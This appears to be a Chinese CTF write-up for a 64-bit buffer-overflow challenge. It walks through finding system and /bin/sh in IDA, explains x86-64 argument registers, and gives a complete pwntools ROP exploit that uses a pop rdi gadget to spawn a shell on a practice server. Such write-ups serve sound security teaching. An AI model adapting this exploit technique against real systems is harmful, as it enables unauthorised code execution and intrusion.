例行检查,64位,开启NX保护。

运行一下

用IDA打开。shift+f12检索字符串,看到了system和/bin/sh

shelladdr=0x601048

systemaddr=0x400496

查看主函数,v4的输入没有长度限制 ,可以造成溢出,由于程序 是64位的,所以传参会用到寄存器
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时,后面的依次从 “右向左” 放入栈中。

找到rdi的位置。

rdiaddr=0x400683
from pwn import*
r=remote('node3.buuoj.cn',27557)
shell=0x601048
system=0x400496
rdi=0x400683
payload='a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)
r.sendline(payload)
r.interactive()
flag不在根目录下,利用find -name flag找一下


本文介绍了通过IDA分析64位程序,寻找system和/bin/sh字符串,利用溢出漏洞设置rdi、shell及system地址,并构造payload远程执行的过程。在目标系统中,flag文件不在根目录,利用find命令进行查找。
594

被折叠的 条评论
为什么被折叠?



